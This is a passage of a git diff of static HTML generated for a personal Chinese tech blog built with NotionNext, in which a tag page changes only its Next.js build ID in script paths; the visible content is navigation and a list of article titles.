2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}],"tag":"工具"},"__N_SSG":true},"page":"/tag/[tag]","query":{"tag":"工具"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git "a/tag/\345\273\272\347\253\231.html" "b/tag/\345\273\272\347\253\231.html"
index 7bfee464c..772afeac4 100644
--- "a/tag/\345\273\272\347\253\231.html"
+++ "b/tag/\345\273\272\347\253\231.html"
@@ -1,8 +1,8 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>建站 | Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="建站 | Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag/建站"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="建站 | Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag/%5Btag%5D-27fd94272e69240a.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E5%BB%BA%E7%AB%99/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E5%BB%BA%E7%AB%99/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
+<!DOCTYPE html><html lang="zh-CN"><head><title>建站 | Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="建站 | Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag/建站"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="建站 | Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag/%5Btag%5D-27fd94272e69240a.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   